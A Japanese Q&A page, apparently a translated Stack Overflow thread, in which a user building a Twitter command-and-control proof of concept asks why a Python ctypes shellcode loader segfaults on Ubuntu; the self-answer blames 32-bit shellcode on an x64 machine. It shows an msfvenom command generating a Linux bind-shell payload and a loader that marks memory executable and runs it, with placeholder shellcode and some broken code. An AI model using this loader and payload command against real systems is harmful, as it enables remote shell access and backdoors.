web-dev-qa-db-ja.com

Python-ctypes.cast関数呼び出しがセグメンテーション違反エラーメッセージを出力する

背景:

twittor に類似したSPSEのViviek教授に触発されたTwitter C&Cの概念実証を記述し、プロジェクトにはシェルコードを挿入してpythonのプログラム内で実行する機能が含まれています。ただし、機能をクロスプラットフォームにしたかったのですが、Windowsシステムでしか機能しませんでした。

問題:ubuntuサーバー12.04.5 LTSでpythonスクリプトを実行すると、出力は

Segmentation fault (core dumped)

つまり、権限のないメモリへのアクセスが拒否されます。これは奇妙なソースコードのb/cです。私もcytpes.mprotect(allocated_space、space_size、7)を設定しています<== 4 + 2 + 1はwrx権限用

コマンドを使用して生成されたシェルコード:

msfvenom --payload linux/x86/Shell/bind_tcp  --format py --Arch x86 --bad-char "\x00\x20\x0d"

Pythonスクリプト

 #!/usr/bin/env python

import ctypes
import os

# please comment out the appropriate payload for the other platforms
# this below is for windows Shell bind tcp listening at 4444
#buf  = ""
#buf += "shellcode..."

# below is for linux
buf = ""
buf += "shellcode..."


def main(shellcode):
    if os.name == 'posix':                                                 
        try:                              
            libc = ctypes.CDLL('libc.so.6')                                
            sc_ptr = ctypes.c_char_p(shellcode)                               

            size = len(shellcode)                                          
            addr_freespace = ctypes.c_void_p(libc.valloc(size))                 
            ctypes.memmove(addr_freespace, sc_ptr, size)                            
            libc.mprotect(addr_free_space, size, 1 | 2 | 4)   # changed to 7 for all three access                    
            run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
            run()                                                           
            sys.exit()                                                                    
        except Exception as e:
            print "Error: " e

    else:                                                                   
        try:  # windows implementation



if __name__ == '__main__':
    main(buf)

質問:セグメンテーションフォールトメッセージが表示される理由と、そのような問題をどのように修正すればよいですか?

クレジット:このスクリプトは、 sickle.py @ Line743-753

唯一の違いは、参照スクリプトがpython 3を使用しているのに対し、python 2.7。

[〜#〜]更新[〜#〜]

Pdbでのプログラムの実行を含む、多くの試行錯誤の後。次の行の後にセグメンテーションフォールトエラーが発生しました。

run()

これがなぜ起こっているのか誰かが説明できますか?

3
Rennitbaby

VMマシンはx64アーキテクチャであり、32ビットシェルコードを提供しましたが、私の側にはひどいミスがありましたが、最終的に謎は解決しました。

1
Rennitbaby